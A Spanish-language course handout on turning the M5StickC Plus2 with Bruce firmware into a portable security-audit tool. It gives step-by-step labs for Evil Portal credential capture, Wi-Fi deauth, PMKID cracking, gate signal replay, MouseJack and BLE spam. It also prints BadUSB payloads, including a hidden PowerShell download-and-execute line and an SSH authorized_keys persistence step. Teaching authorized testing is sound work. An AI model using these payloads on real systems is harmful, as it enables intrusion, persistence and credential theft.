



M5StickC Plus 2

Hardware Hacking Masterclass: Desbloqueando el poder del firmware Bruce
para auditorías de seguridad portátiles

¿Qué es el M5StickC Plus2?

Una plataforma de desarrollo IoT ultracompacta basada en ESP32, diseñada por M5Stack Technology. Con Wi-Fi y Bluetooth integrados, pantalla IPS de 1.14", micrófono, RTC y batería — todo en un form factor de bolsillo.

Propósito Original

- Prototipado rápido de dispositivos IoT, educación STEM e ingeniería industrial. No fue diseñado para seguridad.

Chip Principal

- ESP32-PICO-V3-02 con CPU Xtensa LX6 dual-core a 240 MHz. Wi-Fi 802.11 b/g/n y BLE 4.2 integrados.

Pantalla

- TFT IPS 1.14" a 135×240 píxeles con controlador ST7789V2. Color completo, ideal para UI de firmware.

Portabilidad

- Batería integrada de 200 mAh, carga por USB-C. Imán trasero incorporado. Solo 48 × 25 × 14 mm.

Especificaciones Técnicas

MCU	ESP32-PICO-V3-02 (Xtensa LX6 dual-core)	Micrófono	SPM1423 PDM integrado
Velocidad	Hasta 240 MHz	RTC	BM8563 — Real-Time Clock integrado
RAM	8 MB PSRAM + 520 KB SRAM interna	IR TX	Integrado en GPIO G19
Flash	8 MB (LittleFS / SPIFFS)	GPIO	Conector HY2.0 + pines laterales
Pantalla	1.14" IPS TFT, 135×240 px, ST7789V2	Batería	200 mAh Li-Ion — carga USB-C
Wi-Fi	802.11 b/g/n a 2.4 GHz	Dimensiones	48.2 × 25.5 × 13.7 mm — ~18 g
Bluetooth	BLE 4.2 + Bluetooth Classic	Precio (2025)	~\$25 USD — M5Stack Store / AliExpress
IMU	MPU-6886 — acelerómetro + giroscopio		

Poder a **Bajo Costo**

\$25

M5StickC Plus2
(base)

\$35

Plus2 + CC1101
+ NRF24 (completo)

\$169

Flipper Zero
(referencia)

7×

más barato
que el Flipper

 **M5Stack Store**

shop.m5stack.com
Envío oficial, garantía de
fábrica

 **AliExpress**

Tiendas M5Stack oficiales
~\$22-28 USD con envío

 **Amazon**

Disponible en Amazon
US/EU
Entrega rápida Prime

 **Consejo**

Verificar que sea el 'Plus2'
(no el Plus original
anterior)

Descubrimiento y Comunidad

El Despertar del ESP32

La comunidad de ciberseguridad (GitHub, Reddit, YouTube) descubrió que el bajo costo del ESP32, su radio Wi-Fi/BT nativo y su SDK abierto permitían emular ataques de nivel profesional a una fracción del costo de herramientas comerciales. El M5Stick ofrecía la plataforma perfecta: pantalla, botones, batería y GPIO — todo integrado.

Actores Clave

@pr3y / bmorcelli

- Creador principal de Bruce Firmware
- Diseñó la arquitectura base. Bautizó el proyecto como 'Bruce' (el tiburón de Buscando a Nemo).

@IncursioHack

- Módulos RF y RFID
- Lideró la integración de CC1101 para Sub-GHz y PN532 para NFC/RFID.

Comunidad Global

- Discord + GitHub — +5,000 miembros
- Plantillas Evil Portal, payloads BadUSB, PCBs de expansión y documentación.

Firmware Bruce

Inspirado en el tiburón de «Buscando a Nemo» — un firmware de auditoría «todo en uno» que convierte el M5Stick en una navaja suiza de ciberseguridad portátil.

Open Source

- Licencia AGPL v3. El código fuente completo está disponible en GitHub (github.com/pr3y/Bruce). Contribuciones bienvenidas.

Multidispositivo

- Compatible con M5StickC Plus2, M5StickC Plus, LilyGo T-Display, Cardputer y otros dispositivos ESP32.

Modular

- Cada módulo se puede habilitar/deshabilitar según el hardware disponible. Fácil de extender con scripts JS/Lua.

Actualización OTA

- Se actualiza por Wi-Fi o por cable USB sin herramientas adicionales. Siempre en la última versión en campo.

Web UI

- Interfaz web accesible desde cualquier browser cuando Bruce crea su propio punto de acceso. Gestión de archivos incluida.

Scripting

- Intérprete JavaScript y Lua integrado para automatizar secuencias de ataques sin recompilar el firmware.

Árbol de Menú Bruce

Wi-Fi

- › Scan Networks
- › Evil Portal
- › Deauth Attack
- › Beacon Spam
- › PMKID Capture
- › Probe Sniff

Bluetooth

- › BLE Scanner
- › BLE Spam
- › Brucegotchi
- › BT HID Keyboard

RF (CC1101)

- › Scan Frequencies
- › Record Signal
- › Replay Signal
- › Frequency Jammer

RFID / NFC

- › Read NFC Tag
- › Emulate Card
- › Write Card
- › Clone MIFARE

BadUSB

- › Run Script from SD
- › [lista .txt]
- › DuckyScript V1/V2

Infrared

- › Send IR Signal
- › Learn Signal
- › Universal Library

Settings

- › Wi-Fi Config
- › Web UI
- › Update Firmware
- › File Browser

Otros Firmwares



ESP32 Marauder

Wi-Fi & BLE Ofensivo

✓ Fortalezas:

- Deauth, Beacon Spam, PMKID/EAPOL
- BLE Scanner y Spam

✗ Limitaciones:

- Sin RF Sub-GHz nativo
- Sin Evil Portal integrado



Nemo Firmware

BLE Ligero / Spam

✓ Fortalezas:

- BLE Spam iOS/Android/Win
- Wi-Fi Scanning básico

✗ Limitaciones:

- Funciones Wi-Fi limitadas
- Sin RF ni BadUSB



Stick Warfare

BadUSB & HID Injection

✓ Fortalezas:

- Especialista en HID injection
- Juegos integrados

✗ Limitaciones:

- Sin Wi-Fi ofensivo
- Sin RF Sub-GHz



UIFlow 2.0

IoT / Desarrollo

✓ Fortalezas:

- Firmware oficial M5Stack
- Programación visual por bloques

✗ Limitaciones:

- Sin funciones ofensivas
- Orientado a desarrollo IoT

Módulos de Expansión



CC1101

Sub-GHz RF

~\$2-5 USD

Bus: SPI

Transceptor 300–928 MHz. Replay Attack en portones, alarmas, controles. Protocolo: Princeton, Came, Nice, Linear, Keeloq.



NRF24L01+

2.4 GHz RF

~\$1-3 USD

Bus: SPI

MouseJack: ataque a teclados/ratones inalámbricos vulnerables (Logitech, Microsoft). También drones y sensores IoT.



PN532

NFC/RFID

~\$5-8 USD

Bus: I2C/SPI

MIFARE Classic read/write/emulate, NTAG, ISO14443. Clonar tarjetas de acceso en 13.56 MHz.



GPS (NEO-6M)

Geolocalización

~\$6-10 USD

Bus: UART

Wardriving: captura redes Wi-Fi con coordenadas GPS. Mapeo de redes vulnerables en campo.



microSD Card

Almacenamiento

~\$3-8 USD

Bus: Integrado

Almacena capturas RF, payloads BadUSB, credenciales Evil Portal, scripts JS/Lua y configuración de Bruce.



Extender PCB

Expansión comunitaria

~\$10-15 USD

Bus: Multi-bus

PCB de la comunidad Bruce (TH3_KR4K3N). Conecta CC1101 + NRF24 + PN532 simultáneamente sin cables voladores.

Conexión del CC1101

El CC1101 se comunica por SPI. Conectar a los pines GPIO del M5StickC Plus2:

CC1101 Pin	M5StickC Plus2 GPIO	Función
GD00	GPIO 33	Interrupción (cualquier GPIO disponible)
GD02	GPIO 32	Interrupción opcional (RX indicator)
SCK (CLK)	GPIO 0	SPI Clock
MOSI (SI)	GPIO 26	SPI Master Out Slave In
MISO (SO)	GPIO 36	SPI Master In Slave Out
CS (CSN)	GPIO 2	Chip Select (activo en LOW)
VCC	3.3V Pin	Alimentación — ¡NO conectar a 5V!
GND	GND Pin	Tierra común

⚠ En Bruce: Settings → RF Module → Enable CC1101 → Asignar los pines correctos según tu conexión

¿Qué se puede **hacer?**

Con el hardware correcto + firmware Bruce, el M5StickC Plus2 puede realizar:

Wi-Fi

- Evil Portal (phishing captive)
- Deauth Attack (desconexión)
- PMKID Capture (hash para crack)
- Beacon Spam (100+ SSIDs falsos)
- Probe Request Sniffing

Bluetooth / BLE

- BLE Spam (Apple/Samsung/Win)
- BLE Scanner (dispositivos cercanos)
- Brucegotchi (modo pasivo harvest)
- BT HID Keyboard injection

RF Sub-GHz

- Replay Attack (portones, alarmas)
- RF Scan de frecuencias
- MouseJack (NRF24L01)
- Frequency Jamming (lab)

BadUSB / HID

- DuckyScript V1/V2 payloads
- Keystroke injection (Windows/Mac/Linux)
- Mouse injection programático
- Scripts desde microSD card

NFC / RFID

- Read/Write MIFARE Classic
- Emulación de tarjetas acceso
- Clone UID en magic cards
- NTAG read/emulate

Infrared

- Control universal TVs/AC
- Aprendizaje de señales IR
- Biblioteca de controles precargada
- Proyectoros y soundbars

Ataques Wi-Fi



Evil Portal

Bruce crea un AP falso con el SSID de la red objetivo. Las víctimas se conectan y ven un portal cautivo (captive portal) que imita el login de su ISP, hotel o empresa. Las credenciales se guardan en

`/cd/portal/creds.txt`

Bruce → Wi-Fi → Evil Portal → [SSID] → Start

Browser: 192.168.4.1 para ver logs en tiempo real



Deauth Attack

Envía tramas IEEE 802.11 deauthentication en nombre del AP legítimo. Fuerza la desconexión de clientes. Puede usarse para capturar el handshake WPA2 cuando el cliente se reconecta, o como DoS controlado.

Bruce → Wi-Fi → Deauth Attack → Scan → [Seleccionar red] → Atacar todos los clientes



PMKID Capture

Captura el hash PMKID del AP sin necesitar un cliente conectado. El PMKID se deriva de la clave maestra y permite crackeo offline con hashcat usando diccionarios o fuerza bruta.

Bruce → Wi-Fi → PMKID → Scan → [Red] → Capture
hashcat -m 22000 pmkid.txt wordlist.txt



Beacon Spam

Genera cientos de SSIDs falsos en el entorno. Útil para demostrar que los dispositivos muestran redes inexistentes, para confundir sistemas de monitoreo Wi-Fi o crear ruido en el espectro 2.4 GHz.

Bruce → Wi-Fi → Beacon Spam → Mode: Random/Custom
[Ingresa nombres de SSIDs personalizados]

Ataques Bluetooth / BLE

BLE Spam — El ataque más visual

Envía paquetes BLE advertisement falsos que imitan dispositivos Apple (AirDrop, AirPods), Samsung (Galaxy Buds, Watch), Windows (Nearby Share) y otros. En dispositivos cercanos sin parchar aparecen notificaciones emergentes de forma continua.

Modo Apple

- Genera notificaciones de AirDrop, AirPods, Apple TV, Apple Watch en iPhones y iPads cercanos. iOS muestra popups persistentes con íconos y nombres de dispositivo falsos.

Modo Samsung

- Simula Galaxy Buds, Galaxy Watch y otros wearables Samsung. En Android con One UI activa ventanas de emparejamiento automáticas.

Modo Windows

- Imita dispositivos Nearby Share de Windows. En PCs con Bluetooth activo aparecen notificaciones de compartición de archivos.

BLE Scanner

- Enumera todos los dispositivos BLE cercanos: MAC address, nombre, RSSI, servicios GATT anunciados, manufacturer data. Inventory de dispositivos en el perímetro.

Brucegotchi

- Modo pasivo inspirado en Pwnagotchi. Recolecta handshakes WPA y probe requests automáticamente mientras el M5Stick está en el bolsillo.

BT HID Keyboard

- Emula un teclado Bluetooth para keystroke injection inalámbrica a equipos que acepten nuevos pares o ya tengan el dispositivo como confiable. Rango: ~30 metros.

Ataques RF Sub-GHz (CC1101)

Requisito: Módulo CC1101 conectado por SPI

El CC1101 es el transceptor Texas Instruments que opera en 300–928 MHz. Bruce lo usa para capturar y retransmitir señales de

Replay Attack

Captura la señal RAW de un portón/alarma y la retransmite. Funciona en sistemas con código FIJO (Princeton, Came, Nice, Linear). Los sistemas con Rolling Code son resistentes a este ataque básico.

1. Bruce → RF → Record Signal
2. Apuntar al objetivo y grabar
3. RF → Replay → [archivo guardado]

✓ El portón abre sin la llave original

RF Scanner

Escanea el espectro 315/433/868/915 MHz en busca de señales activas. Muestra potencia de señal (RSSI) por frecuencia. Útil para identificar en qué frecuencia opera un dispositivo desconocido antes de capturar.

Bruce → RF → Scan Frequencies

Observar picos de RSSI en pantalla
Identificar la frecuencia del objetivo

Ajustar para Read/Record preciso

MouseJack (NRF24)

Con módulo NRF24L01+: ataque MouseJack contra teclados y ratones inalámbricos vulnerables (Logitech, Microsoft, Dell usando dongles unifying sin cifrado). Inyecta pulsaciones sin emparejamiento.

Bruce → RF → NRF24 Scanner

Detectar receiver Logitech/MS

MouseJack → Inject Keystrokes

[Ejecuta DuckyScript sobre el objetivo]

BadUSB y HID Injection

¿Cómo funciona?

Al conectar el M5StickC por USB-C al equipo objetivo, el SO lo reconoce como un teclado HID USB. No requiere drivers ni

Windows Payload

```
DELAY 300
GUI r
DELAY 500
STRING powershell -w hidden
CTRL-SHIFT ENTER
DELAY 800
ALT y
STRING IEX (iwr
http://auditor/shell)
ENTER
```

macOS Payload

```
DELAY 300
GUI SPACE
DELAY 400
STRING terminal
ENTER
DELAY 600
STRING system_profiler
SPNetworkDataType >
/tmp/audit.txt
ENTER
```

Linux Payload

```
CTRL-ALT t
DELAY 600
STRING mkdir -p ~/.ssh
ENTER
STRING echo 'ssh-rsa AAA...
auditor' >> ~/.ssh/
authorized_keys
ENTER
```

Infrared y Otras Capacidades

Infrared Universal

- › TX integrado en GPIO G19
- › Biblioteca con TVs, A/C, proyectores
- › Aprende señales de cualquier control real
- › Compatible con NEC, RC5, Samsung, Sony, LG

Web UI de Bruce

- › Bruce crea un AP propio (SSID: Bruce)
- › Conectar a 192.168.4.1 desde cualquier browser
- › Gestión de archivos de la SD card
- › Ver logs Evil Portal en tiempo real

Scripting JS / Lua

- › Intérprete JavaScript integrado en Bruce
- › Intérprete Lua también disponible
- › Automatizar secuencias de ataques complejas
- › Lógica condicional sin recompilar firmware

GPS + Wardriving

- › Con módulo NEO-6M por UART
- › Captura SSIDs + ubicación GPS en cada scan
- › Genera archivo de wardriving exportable
- › Compatible con WiGLE (mapa de redes vulnerables)

M5StickC Plus2 vs Flipper Zero

Característica	 M5StickC + Bruce	 Flipper Zero
Precio	\$25 USD (base)	\$169 USD
Wi-Fi integrado	✓ Nativo ESP32	✗ Requiere módulo
BLE integrado	✓ BLE 5.0	✓ BLE integrado
Sub-GHz RF	⚠ Módulo CC1101	✓ CC1101 nativo
RFID 125 kHz	⚠ Módulo externo	✓ Integrado
NFC 13.56 MHz	⚠ Módulo PN532	✓ ST25R3916
Infrared TX	✓ GPIO G19	✓ TX+RX nativo
Evil Portal	✓ Bruce nativo	⚠ Requiere ESP32
PMKID Capture	✓ Bruce nativo	✗ No disponible
Scripting JS/Lua	✓ Bruce nativo	⚠ Limitado
Batería	200 mAh (~2h)	2000 mAh (~7h)



Conclusión: Son herramientas complementarias. M5StickC > Wi-Fi / BLE. Flipper Zero > RF / RFID / NFC out-of-the-box.

¿Cuándo usar cada herramienta?

Un auditor profesional entiende qué herramienta usar según el vector de ataque del engagement:

Elige M5StickC + Bruce cuando...

- El engagement requiere ataques Wi-Fi (Evil Portal, Deauth, PMKID)
- El presupuesto es limitado (\$25 vs \$169 del Flipper)
- Necesitas scripting JS/Lua para automatizar flujos complejos
- Quieres probar BLE Spam o recolección pasiva (Brucegotchi)
- El objetivo tiene portales/alarmas con CC1101 externos

El Combo Ideal

M5StickC Plus2 con Bruce para ataques Wi-Fi y BLE + Flipper Zero para RF/RFID/NFC. Ambos juntos por ~\$200 USD cubren prácticamente todos los vectores de hardware hacking físico. Un auditor con los dos dispositivos tiene una cobertura equivalente a toolsets de varios miles de dólares.

Elige Flipper Zero cuando...

- Necesitas RFID/NFC sin módulos externos (plug & play)
- El engagement requiere Sub-GHz + RFID + NFC + iButton simultáneamente
- La batería es crítica (7h vs 2h del M5Stick)
- Quieres la mejor UI y experiencia de usuario lista para usar
- El cliente requiere herramientas certificadas y respaldadas

Para este Curso

Usaremos el M5StickC Plus2 + Bruce porque es accesible para todos los participantes. El Flipper Zero fue cubierto en la Clase 02. Juntos forman el arsenal básico de hardware hacking que toda persona de seguridad ofensiva debería conocer.

Guía de Instalación con M5Burner

01

Descargar M5Burner

Ir a docs.m5stack.com y descargar M5Burner para tu SO (Windows, macOS, Linux). Es la herramienta oficial para gestionar firmware de todos los dispositivos M5Stack. No requiere cuenta.

02

Instalar Driver CH9102

En Windows: instalar el driver CH9102 (o CP210x para versiones más antiguas). En Linux/macOS generalmente se detecta automáticamente como `/dev/ttyUSB0` o `/dev/ttyACM0`.

03

Conectar y Seleccionar

Conectar el M5StickC Plus2 por USB-C. En M5Burner: panel izquierdo → STICKC → buscar 'Bruce for StickC plus2' → Download. ¡Verificar que es 'Plus2' y no el modelo anterior!

04

Flashear Bruce

Hacer clic en 'Burn'. El proceso tarda 2-3 minutos. M5Burner muestra el progreso en porcentaje. Al llegar al 100% el dispositivo reinicia automáticamente con Bruce. ¡Ya está listo!

Web Flasher y Actualización OTA

Web Flasher — Sin instalación

- **URL: bruce.computer/flasher**
- Solo requiere Google Chrome o Microsoft Edge (Web Serial API)
- Conectar el M5Stick por USB-C al PC
- Seleccionar 'M5StickC Plus2' en el menú desplegable
- Hacer clic en 'Flash' — dura ~3 minutos
- Alternativa perfecta si M5Burner da problemas
- También: esphome.io/projects para otras variantes

Posibles Problemas

- Driver CH9102 no instalado (Windows) → descargar de wch.cn
- Puerto COM no detectado → probar otro cable USB-C
- 'Failed to connect' → mantener botón C presionado al conectar
- Flasheo parcial → repetir el proceso desde M5Burner

Actualización OTA — En campo

- **Sin necesidad de PC ni cables**
- Bruce → Settings → Update Firmware → OTA Update
- Conectar a una red Wi-Fi con internet
- Bruce verifica la última versión disponible
- Descarga e instala automáticamente
- Reinicia con el firmware actualizado
- Verificar siempre la versión antes de una auditoría

M5Stick Launcher

- App gestora de firmwares en el propio dispositivo
- Cambia entre Bruce / Marauder / UIFlow sin PC
- Los firmwares se guardan en la microSD
- Ideal para tener múltiples perfiles según el engagement

Controles y Navegación en Bruce

OK · Confirmar
Seleccionar opción

Botón A

(Frontal / M5)

Navegar ↓
Siguiete opción

Botón B

(Lateral derecho)

Back · Cancelar
Volver al menú

Botón C

(Superior)

Combinaciones especiales:

A + B

Ir al menú principal desde cualquier pantalla

Hold Power

Encender / Apagar el dispositivo

Hold B (3s)

Reiniciar Bruce (soft reset)

B en boot

Entrar en modo seguro / recovery

Web UI

Conectar al AP 'Bruce' → 192.168.4.1 en browser

OTA Update

Settings → Update → verificar versión disponible

Lab 01: Evil Portal Step by Step

 **Objetivo:** Capturar credenciales Wi-Fi de un usuario en una red de laboratorio autorizada

1	Encender Bruce y acceder al menú Wi-Fi	Power ON → Bruce carga → Botón A: seleccionar 'Wi-Fi'
2	Seleccionar Evil Portal	Wi-Fi → Evil Portal → [Botón A para confirmar]
3	Configurar el SSID del portal	Escribir el SSID de la red objetivo: 'LabWiFi_Test' Los caracteres se ingresan con botón B (↓) y A (seleccionar)
4	Iniciar el portal	Start → El M5Stick crea el AP 'LabWiFi_Test' IP del portal: 192.168.4.1
5	Verificar desde el browser (Web UI)	Conectar PC/celular al SSID 'Bruce' Abrir 192.168.4.1 → Ver logs en tiempo real
6	Revisar credenciales capturadas	Bruce → Settings → File Browser → /portal/creds.txt O desde Web UI en 192.168.4.1/creds

Lab 02: Deauth Attack + BLE Spam

Parte A: Deauth Attack (desconexión de clientes Wi-Fi)

- | | | |
|----|--|--|
| 1. | Bruce → Wi-Fi → Deauth Attack | // Accede al módulo de desautenticación |
| 2. | Scan → Lista de redes detectadas aparece en pantalla | // Escanea redes cercanas ~5 segundos |
| 3. | Botón B para navegar, A para seleccionar la red objetivo | // Solo redes de tu propiedad o con autorización |
| 4. | 'All Clients' → A para confirmar el ataque | // Envía tramas 802.11 deauth a todos los clientes |
| 5. | Back (C) para detener – observar reconexiones en la red | // Ideal para capturar handshakes WPA2 al reconectar |

Parte B: BLE Spam (Apple + Samsung + Windows)

- | | | |
|----|--|--|
| 1. | Bruce → Bluetooth → BLE Spam | // Menú de tipos de spam disponibles |
| 2. | Seleccionar 'Apple' → Botón A → 'Random' para variedad | // Genera notificaciones en iPhones cercanos |
| 3. | Observar en los dispositivos iOS las notificaciones emergentes | // Demuestra la falta de autenticación en BLE advertisements |
| 4. | Repetir con 'Samsung' y 'Windows Nearby' | // Diferentes sistemas, mismo problema de BLE sin auth |

Uso Ético y Marco Legal

Principio Fundamental

El M5StickC Plus2 con Bruce, como cualquier herramienta de seguridad, es legalmente neutral. Lo que determina la legalidad es el contexto de uso. Un historí no es ilegal — usarlo sin consentimiento lo convierte en delito. Lo mismo aplica para estas

¿Qué está permitido?

- Pruebas en redes o dispositivos propios
- Auditorías con contrato/orden de trabajo firmado
- Entornos de laboratorio controlados y aislados
- CTFs, hackathons y competencias de seguridad
- Investigación académica con aprobación institucional

¿Qué es un delito?

- Acceder a redes Wi-Fi de terceros sin permiso
- Desautenticar clientes en redes ajenas (DoS)
- Evil Portal contra usuarios reales sin consentimiento
- Interceptar tráfico o capturar credenciales reales
- Instalar persistencia en sistemas de terceros

Protégete siempre

- Obtener autorización por escrito antes de cualquier prueba
- Documentar el alcance (scope) del engagement
- Jamás probar fuera del scope acordado
- Tener seguro de responsabilidad civil como auditor
- Conocer las leyes de delitos informáticos del país